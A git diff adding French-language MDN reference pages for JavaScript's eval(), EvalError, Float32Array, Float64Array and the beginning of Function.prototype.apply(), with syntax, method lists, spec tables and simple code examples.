Pour qu'une fonction soit restituée lors de l'évaluation, il est nécessaire d'encadrer l'expression contenue dans la chaîne de caractères avec des parenthèses :

+ +
var fctStr1 = "function a() {}"
+var fctStr2 = "(function a() {})"
+var fct1 = eval(fctStr1)  // renvoie undefined
+var fct2 = eval(fctStr2)  // renvoie une function
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.2.1', 'eval')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-eval-x', 'eval')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-eval-x', 'eval')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.eval")}}

+ +

Notes spécifiques à Firefox

+ +
    +
  • Historiquement, eval() utilisait un deuxième argument qui définissait l'objet qui était le contexte pour lequel effectuer l'évaluation. Cet argument était non-standard et a été retiré de SpiderMonkey avec Firefox 4 (cf. {{bug(531675)}}).
    • +
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/evalerror/index.html b/files/fr/web/javascript/reference/global_objects/evalerror/index.html new file mode 100644 index 0000000000..f2bdb704b9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/evalerror/index.html @@ -0,0 +1,115 @@ +--- +title: EvalError +slug: Web/JavaScript/Reference/Objets_globaux/EvalError +tags: + - Error + - EvalError + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/EvalError +--- +
{{JSRef}}
+ +

L'objet EvalError indique une erreur concernant la fonction globale {{jsxref("Objets_globaux/eval","eval()")}}. Cette exception n'est plus levée par JavaScript mais l'objet EvalError est conservé pour des raisons de compatibilité.

+ +

Syntaxe

+ +
new EvalError([message[, nomFichier[, numeroLigne]]])
+ +

Paramètres

+ +
+
message
+
Paramètre optionnel, une description compréhensible de l'erreur
+
nomFichier {{Non-standard_inline}}
+
Paramètre optionnel, le nom du fichier qui contient le code à l'origine de l'exception
+
numeroLigne {{Non-standard_inline}}
+
Paramètre optionnel, le numéro de la ligne du code qui a entrainé l'exception
+
+ +

Propriétés

+ +
+
{{jsxref("EvalError.prototype")}}
+
Cette propriété permet l'addition de propriétés à un objet EvalError.
+
+ +

Méthodes

+ +

L'objet global EvalError ne contient pas de méthodes propres. En revanche, il hérite de certaines méthodes via sa chaîne de prototypes.

+ +

Instances de EvalError

+ +

Propriétés

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/EvalError/prototype','Properties')}}
+ +

Méthodes

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/EvalError/prototype','Methods')}}
+ +

Exemples

+ +

EvalError n'est pas utilisée par la spécification ECMAScript actuelle et ne sera donc pas levée lors de l'exécution. Cependant, l'objet reste disponible à des fins de compatibilité avec les versions antérieures de la spécification.

+ +

Créer une exception EvalError

+ +
try {
+  throw new EvalError("Coucou", "unFichier.js", 10);
+} catch (e) {
+  console.log(e instanceof EvalError); // true
+  console.log(e.message);              // "Coucou"
+  console.log(e.name);                 // "EvalError"
+  console.log(e.fileName);             // "unFichier.js"
+  console.log(e.lineNumber);           // 10
+  console.log(e.columnNumber);         // 0
+  console.log(e.stack);                // "@Scratchpad/2:2:9\n"
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale
{{SpecName('ES5.1', '#sec-15.11.6.1', 'EvalError')}}{{Spec2('ES5.1')}}Non utilisé dans cette spécificaition. Présent à des fins de rétrocompatibilité.
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}{{Spec2('ES6')}}Non utilisé dans cette spécificaition. Présent à des fins de rétrocompatibilité.
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.EvalError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error")}}
    • +
  • {{jsxref("EvalError.prototype")}}
    • +
  • {{jsxref("Objets_globaux/eval", "eval()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/float32array/index.html b/files/fr/web/javascript/reference/global_objects/float32array/index.html new file mode 100644 index 0000000000..35870c99db --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/float32array/index.html @@ -0,0 +1,205 @@ +--- +title: Float32Array +slug: Web/JavaScript/Reference/Objets_globaux/Float32Array +tags: + - Constructor + - JavaScript + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/Float32Array +--- +
{{JSRef}}
+ +

Le tableau typé Float32Array représente un tableau de nombres flottants représentés sur 32 bits (ce qui correspond au type C float), l'ordre des octets utilisés étant celui de la plate-forme. Si on souhaite maîtriser le boutisme (endianness) utilisé, on pourra utiliser une {{jsxref("DataView")}}. Les éléments du tableau sont initialisés à 0. Une fois que le tableau est établi, on peut référencer des éléments dans le tableau en utilisant les méthodes de l'objet ou la syntaxe usuelle des crochets.

+ +

Syntaxe

+ +
new Float32Array(); // Apparu avec ES2017
+new Float32Array(longueur);
+new Float32Array(tableauTypé);
+new Float32Array(objet);
+new Float32Array(buffer [, décalageOctets [, longueur]]);
+ +

Pour plus d'informations sur la syntaxe de ce constructeur et les paramètres utilisés, voir la page {{jsxref("Objets_globaux/TypedArray","TypedArray","#Syntaxe")}}.

+ +

Propriétés

+ +
+
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Float32Array.BYTES_PER_ELEMENT")}}
+
Renvoie le nombre d'octets par élément. 4 dans le cas de Float32Array.
+
Float32Array.length
+
Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Float32Array.prototype.length")}}.
+
{{jsxref("TypedArray.name", "Float32Array.name")}}
+
Renvoie la chaîne de caractères correspondant au nom du constructeur, dans le cas de Float32Array, ce sera : "Float32Array".
+
{{jsxref("TypedArray.prototype", "Float32Array.prototype")}}
+
Le prototype des objets TypedArray.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.from", "Float32Array.from()")}}
+
Crée un nouvel objet Float32Array à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}.
+
{{jsxref("TypedArray.of", "Float32Array.of()")}}
+
Crée un nouvel objet Float32Array à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}.
+
+ +

Prototype Float32Array

+ +

Chacun des objets Float32Array hérite de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

+ +

Propriétés

+ +
+
Float32Array.prototype.constructor
+
Renvoie la fonction qui a crée le prototype de l'instance. Par défaut, ce sera le constructeur Float32Array.
+
{{jsxref("TypedArray.prototype.buffer", "Float32Array.prototype.buffer")}} {{readonlyInline}}
+
Renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet Float32Array. Cette propriété est fixée lors de la construction et n'est donc disponible qu'en lecture seule.
+
{{jsxref("TypedArray.prototype.byteLength", "Float32Array.prototype.byteLength")}} {{readonlyInline}}
+
Renvoie la longueur, exprimée en octets, de l'objet Float32Array à partir du début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est fixée lors de la construction et n'est donc disponible qu'en lecture seule.
+
{{jsxref("TypedArray.prototype.byteOffset", "Float32Array.prototype.byteOffset")}} {{readonlyInline}}
+
Renvoie le décalage, exprimé en octets, de l'objet Float32Array par rapport au début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est fixée lors de la construction et n'est donc disponible qu'en lecture seule.
+
{{jsxref("TypedArray.prototype.length", "Float32Array.prototype.length")}} {{readonlyInline}}
+
Renvoie le nombre d'éléments contenus dans l'objet Float32Array. Cette propriété est fixée lors de la construction et n'est donc disponible qu'en lecture seule.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.copyWithin", "Float32Array.prototype.copyWithin()")}}
+
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.entries", "Float32Array.prototype.entries()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.every", "Float32Array.prototype.every()")}}
+
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.fill", "Float32Array.prototype.fill()")}}
+
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.filter", "Float32Array.prototype.filter()")}}
+
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.find", "Float32Array.prototype.find()")}}
+
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.findIndex", "Float32Array.prototype.findIndex()")}}
+
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.forEach", "Float32Array.prototype.forEach()")}}
+
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.includes", "Float32Array.prototype.includes()")}}
+
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.indexOf", "Float32Array.prototype.indexOf()")}}
+
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.join", "Float32Array.prototype.join()")}}
+
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.keys", "Float32Array.prototype.keys()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.lastIndexOf", "Float32Array.prototype.lastIndexOf()")}}
+
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.map", "Float32Array.prototype.map()")}}
+
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.move", "Float32Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
+
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Float32Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.reduce", "Float32Array.prototype.reduce()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.reduceRight", "Float32Array.prototype.reduceRight()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.reverse", "Float32Array.prototype.reverse()")}}
+
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.set", "Float32Array.prototype.set()")}}
+
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
+
{{jsxref("TypedArray.slice", "Float32Array.prototype.slice()")}}
+
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.some", "Float32Array.prototype.some()")}}
+
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.sort", "Float32Array.prototype.sort()")}}
+
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.subarray", "Float32Array.prototype.subarray()")}}
+
Renvoie un nouvel objet Float32Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
+
{{jsxref("TypedArray.values", "Float32Array.prototype.values()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.toLocaleString", "Float32Array.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.toString", "Float32Array.prototype.toString()")}}
+
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.@@iterator", "Float32Array.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
+
+ +

Exemples

+ +

Différentes façons de créer un objet Float32Array :

+ +
// Construction à partir d'une longueur
+var float32 = new Float32Array(2);
+float32[0] = 42;
+console.log(float32[0]); // 42
+console.log(float32.length); // 2
+console.log(float32.BYTES_PER_ELEMENT); // 4
+
+// Construction à partir d'un tableau
+var arr = new Float32Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un tableau typé
+var x = new Float32Array([21, 31]);
+var y = new Float32Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(16);
+var z = new Float32Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var float32 = new Float32Array(iterable);
+// Float32Array[1, 2, 3]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{Spec2('Typed Array')}}Remplacée par ECMAScript 2015.
{{SpecName('ES6', '#table-49', 'TypedArray constructors')}}{{Spec2('ES6')}}Défintion initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur afin que celui-ci utilise l'opération interne ToIndex et puisse être utilisé sans argument.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Float32Array")}}

+ +

Notes de compatibilité

+ +

À partir d'ECMAScript 2015 (ES6), Float32Array doit être utilisée avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Float32Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

+ +
var dv = Float32Array([1, 2, 3]);
+// TypeError: calling a builtin Float32Array constructor
+// without new is forbidden
+ +
var dv = new Float32Array([1, 2, 3]);
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/float64array/index.html b/files/fr/web/javascript/reference/global_objects/float64array/index.html new file mode 100644 index 0000000000..892222240c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/float64array/index.html @@ -0,0 +1,204 @@ +--- +title: Float64Array +slug: Web/JavaScript/Reference/Objets_globaux/Float64Array +tags: + - Constructor + - JavaScript + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/Float64Array +--- +
{{JSRef}}
+ +

Le constructeur Floa64Array permet de représenter un tableau typé dont les éléments sont des nombres flottants représentés sur 64 bits (ce qui correspond à la représentation du type double en C) dans l'ordre des octets utilisé par la plate-forme. Si on souhaite maîtriser le boutisme (endianness), on pourra utiliser un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0. Une fois construit, il est possible de faire référence aux éléments du tableau en utilisant les méthodes de l'objet ou la syntaxe usuelle pour l'accès aux éléments du tableau (les crochets).

+ +

Syntaxe

+ +
new Float64Array(); // apparu avec ES2017
+new Float64Array(longueur);
+new Float64Array(tableauTypé);
+new Float64Array(objet);
+new Float64Array(buffer [, positionOctet [, longueur]]);
+ +

Pour plus d'informations sur la syntaxe du constructeur et ses paramètres, voir TypedArray.

+ +

Propriétés

+ +
+
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Float64Array.BYTES_PER_ELEMENT")}}
+
Renvoie un nombre traduisant la taille de l'élément en octets, 8 dans le cas d'un Float64Array.
+
Float64Array.length
+
Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'éléments, voir {{jsxref("TypedArray.prototype.length", "Float64Array.prototype.length")}}.
+
{{jsxref("TypedArray.name", "Float64Array.name")}}
+
Renvoie la chaîne de caractère correspondant au nom du constructeur, dans le cas de Float64Array, ce sera : "Float64Array".
+
{{jsxref("TypedArray.prototype", "Float64Array.prototype")}}
+
Prototype pour les objets TypedArray.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.from", "Float64Array.from()")}}
+
Crée un nouvel objet Float64Array à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir aussi {{jsxref("Array.from()")}}.
+
{{jsxref("TypedArray.of", "Float64Array.of()")}}
+
Crée un nouvel objet Float64Array à partir d'un nombre variable d'arguments. Voir aussi {{jsxref("Array.of()")}}.
+
+ +

Prototype de Float64Array

+ +

Tous les objets Float64Array héritent de {{jsxref("TypedArray.prototype", "Float64Array.prototype")}}.

+ +

Propriétés

+ +
+
Float64Array.prototype.constructor
+
Renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera le constructeur natif Float64Array.
+
{{jsxref("TypedArray.prototype.buffer", "Float64Array.prototype.buffer")}} {{readonlyInline}}
+
Renvoie l'{{jsxref("ArrayBuffer")}} référencé par l'objet Float64Array. Cette valeur est fixée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
+
{{jsxref("TypedArray.prototype.byteLength", "Float64Array.prototype.byteLength")}} {{readonlyInline}}
+
Renvoie la longueur, exprimée en octets, de l'objet Float64Array depuis le début de son {{jsxref("ArrayBuffer")}}. Cette valeur est fixée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
+
{{jsxref("TypedArray.prototype.byteOffset", "Float64Array.prototype.byteOffset")}} {{readonlyInline}}
+
Renvoie le décalage, exprimé en octets, entre l'objet Float64Array et le début de son {{jsxref("ArrayBuffer")}}. Cette valeur est fixée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
+
{{jsxref("TypedArray.prototype.length", "Float64Array.prototype.length")}} {{readonlyInline}}
+
Renvoie le nombre d'éléments contenus dans l'objet Float64Array. Cette valeur est fixée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.copyWithin", "Float64Array.prototype.copyWithin()")}}
+
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.entries", "Float64Array.prototype.entries()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.every", "Float64Array.prototype.every()")}}
+
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.fill", "Float64Array.prototype.fill()")}}
+
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.filter", "Float64Array.prototype.filter()")}}
+
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.find", "Float64Array.prototype.find()")}}
+
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.findIndex", "Float64Array.prototype.findIndex()")}}
+
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.forEach", "Float64Array.prototype.forEach()")}}
+
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.includes", "Float64Array.prototype.includes()")}}
+
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.indexOf", "Float64Array.prototype.indexOf()")}}
+
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.join", "Float64Array.prototype.join()")}}
+
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.keys", "Float64Array.prototype.keys()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.lastIndexOf", "Float64Array.prototype.lastIndexOf()")}}
+
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.map", "Float64Array.prototype.map()")}}
+
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.move", "Float64Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
+
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Float64Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.reduce", "Float64Array.prototype.reduce()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.reduceRight", "Float64Array.prototype.reduceRight()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.reverse", "Float64Array.prototype.reverse()")}}
+
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.set", "Float64Array.prototype.set()")}}
+
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
+
{{jsxref("TypedArray.slice", "Float64Array.prototype.slice()")}}
+
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.some", "Float64Array.prototype.some()")}}
+
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.sort", "Float64Array.prototype.sort()")}}
+
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.subarray", "Float64Array.prototype.subarray()")}}
+
Renvoie un nouvel objet Float64Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
+
{{jsxref("TypedArray.values", "Float64Array.prototype.values()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.toLocaleString", "Float64Array.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.toString", "Float64Array.prototype.toString()")}}
+
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.@@iterator", "Float64Array.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
+
+ +

Exemples

+ +

Différentes façons de créer un objet Float64Array :

+ +
// Construction avec une longueur de tableau
+var float64 = new Float64Array(2);
+float64[0] = 42;
+console.log(float64[0]); // 42
+console.log(float64.length); // 2
+console.log(float64.BYTES_PER_ELEMENT); // 8
+
+// Construction à partir d'un tableau
+var arr = new Float64Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un autre tableau typé
+var x = new Float64Array([21, 31]);
+var y = new Float64Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(32);
+var z = new Float64Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var float64 = new Float64Array(iterable);
+// Float64Array[1, 2, 3]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}{{Spec2('ES2015')}}Première définition au sein d'un standard ECMAScript. new est nécessaire pour utiliser le constructeur.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur afin qu'il utilise l'opération interne ToIndex ce qui permet de l'utiliser sans argument.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Float64Array")}}

+ +

Notes de compatibilité

+ +

À partir d'ECMAScript 2015 (ES6), les constructeurs TypedArray doivent être utilisés avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur TypedArray comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

+ +
var dv = Float64Array([1, 2, 3]);
+// TypeError: calling a builtin Float64Array constructor without new is forbidden
+ +
var dv = new Float64Array([1, 2, 3]);
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/function/apply/index.html b/files/fr/web/javascript/reference/global_objects/function/apply/index.html new file mode 100644 index 0000000000..6c1f23d146 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/function/apply/index.html @@ -0,0 +1,211 @@ +--- +title: Function.prototype.apply() +slug: Web/JavaScript/Reference/Objets_globaux/Function/apply +tags: + - Function + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply +--- +
{{JSRef}}
+ +

La méthode apply() appelle une fonction en lui passant une valeur this et des arguments sous forme d'un tableau (ou d'un objet semblable à un tableau).

+ +
Note : Bien que la syntaxe de cette fonction ressemble à celle de {{jsxref("Function.call", "call()")}}, elle est différente car call() accepte une liste d'arguments, tandis que apply() accepte un tableau d'arguments.
+ +
Note : Quand on utilise {{jsxref("undefined")}} ou {{jsxref("null")}} comme premier argument pour cette fonction, on peut obtenir un résultat similaire avec la syntaxe de décomposition.
+ +
{{EmbedInteractiveExample("pages/js/function-apply.html")}}
+ + + +

Syntaxe

+ +
fun.apply(thisArg, [argsArray])
+ +

Paramètres

+ +
+
thisArg
+
La valeur de this fournie pour l'appel à la fonction fun. On notera que, sous certaines conditions, this peut ne pas être la valeur exacte vue par la méthode : si la méthode est une fonction utilisée en mode {{jsxref("Strict_mode", "mode non-strict", "", 1)}}, {{jsxref("null")}} et {{jsxref("undefined")}} seront remplacées par l'objet global, et les valeurs primitives seront encapsulées. Cet argument n'est pas optionnel.
+
argsArray
+
Un objet semblable à un tableau qui définit les arguments avec lesquel fun devrait être appelée, ou {{jsxref("null")}} ou {{jsxref("undefined")}} si aucun argument n'est passé à la fonction. Avec ECMAScript 5, ces arguments peuvent être représentés par un objet semblable un tableau. Voir ci-après pour plus d'informations sur la compatibilité des navigateurs.
+
+ +

Valeur de retour

+ +

Le résultat obtenu en appelant la fonction avec la valeur this indiquée et les arguments fournis.

+ +

Description

+ +

Il est possible d'utiliser un objet this différent lors de l'appel à une fonction existante. this fait référence à l'objet courant, l'objet appelant. Avec apply, on peut écrire une méthode une seule fois et en hériter dans un autre objet, sans avoir à la réécrire dans le nouvel objet.

+ +

apply est similaire à {{jsxref("Function.call", "call()")}}, hormis pour le type d'arguments supporté. Il est possible d'utiliser un tableau à la place d'un ensemble de paramètres. Avec apply, il est également possible d'utiliser un littéral de tableau, par exemple, fun.apply(this, ['manger', 'bananes']), ou un objet {{jsxref("Array")}}, par exemple, fun.apply(this, new Array('manger', 'bananes')).

+ +

